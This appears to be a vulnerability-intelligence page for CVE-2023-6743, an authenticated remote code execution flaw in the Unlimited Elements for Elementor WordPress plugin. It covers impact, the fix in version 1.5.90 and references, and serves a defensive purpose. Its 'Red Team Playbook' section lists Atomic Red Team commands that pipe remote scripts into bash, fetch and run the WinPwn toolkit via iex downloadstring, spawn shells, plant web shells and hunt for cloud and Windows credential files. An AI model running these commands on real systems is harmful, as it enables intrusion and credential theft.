CVE-2023-6743
Overview
This vulnerability is a remote code execution flaw caused by improper validation and sanitization of input within the template import functionality of the Unlimited Elements For Elementor plugin. Specifically, the flaw arises from insecure handling of PHP code embedded in templates, allowing execution of arbitrary code. The affected component is the template import feature in versions up to and including 1.5.89 of the plugin.
Vulnerability Description
The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.5.89 via the template import functionality. This makes it possible for authenticated attackers, with contributor access and above, to execute code on the server.
Impact
An attacker with contributor-level access or above can execute arbitrary PHP code on the server, potentially leading to full system compromise, data theft, or service disruption. The exploit requires authentication with at least contributor privileges and no user interaction beyond template import. This aligns with CVSS vector AV:N/AC:L/PR:L/UI:N, indicating network attack with low complexity and no user interaction but requiring privileges. The vulnerability enables escalation from limited WordPress roles to full server control.
Solution
Users should upgrade the Unlimited Elements For Elementor plugin to version 1.5.90 or later, where the vulnerability has been addressed. Detailed patch information and remediation guidance are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/25f71a19-85b1-4bc9-b193-d9de2eba81ee. No official workaround is documented; therefore, prompt updating is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Unlimited Elements for Elementor plugin allows for remote code execution through its template import functionality. This flaw arises from insufficient validation of user input when importing templates, enabling authenticated users with contributor access or higher to upload malicious code disguised as legitimate templates. The lack of stringent checks on the content being imported means that attackers can exploit this functionality to execute arbitrary PHP code on the server. This can lead to a complete compromise of the affected WordPress instance, as the attacker can gain control over the server environment, manipulate files, and potentially access sensitive data.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, once logged into the WordPress dashboard, can navigate to the template import feature and upload a crafted template file. This file can contain malicious PHP code that, when executed, allows the attacker to perform a range of harmful actions, such as creating new administrative accounts, modifying existing content, or even deploying additional malware. The ease of access for contributors and higher-level users makes this vulnerability particularly concerning, as it lowers the barrier for potential attackers who may not require elevated privileges to initiate an attack.
The real-world impact of this vulnerability is significant, especially for organizations relying on WordPress for their web presence. The potential for remote code execution means that attackers could gain unauthorized access to sensitive information, disrupt services, or leverage the compromised server for further attacks, such as launching Distributed Denial of Service (DDoS) attacks or distributing spam. Businesses could face reputational damage, loss of customer trust, and financial repercussions from data breaches or service interruptions. Additionally, regulatory compliance issues may arise if sensitive data is exposed, leading to further legal and financial liabilities.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Unlimited Elements for Elementor plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing security plugins that monitor for unauthorized changes to files and alert administrators of suspicious activities can help in early detection of exploitation attempts. Restricting user permissions to the minimum necessary for their roles can also limit the attack surface, reducing the likelihood of an attacker gaining access to the template import functionality. Regular security audits and vulnerability assessments should be conducted to identify and remediate any potential weaknesses in the WordPress environment.
In conclusion, the remote code execution vulnerability in the Unlimited Elements for Elementor plugin poses a serious threat to WordPress installations, particularly due to its accessibility to authenticated users with minimal privileges. The implications of such an exploit can be devastating, affecting not only the integrity and availability of the website but also the overall security posture of the organization. By adopting proactive security measures and maintaining vigilance, organizations can significantly reduce their risk exposure and protect their digital assets from potential exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Unlimited-Elements | Unlimited Elements For Elementor | All |
cpe:2.3:a:unlimited-elements:unlimited_elements_for_elementor:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6743 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/25f71a19-85b1-4bc9-b193-d9de2eba81ee?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/unitecreator_output.class.php#L1765 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/provider/core/plugins/unlimited_elements/elementor/elementor_widget.class.php#L3948 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3010986/unlimited-elements-for-elementor#file6 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3015166/unlimited-elements-for-elementor |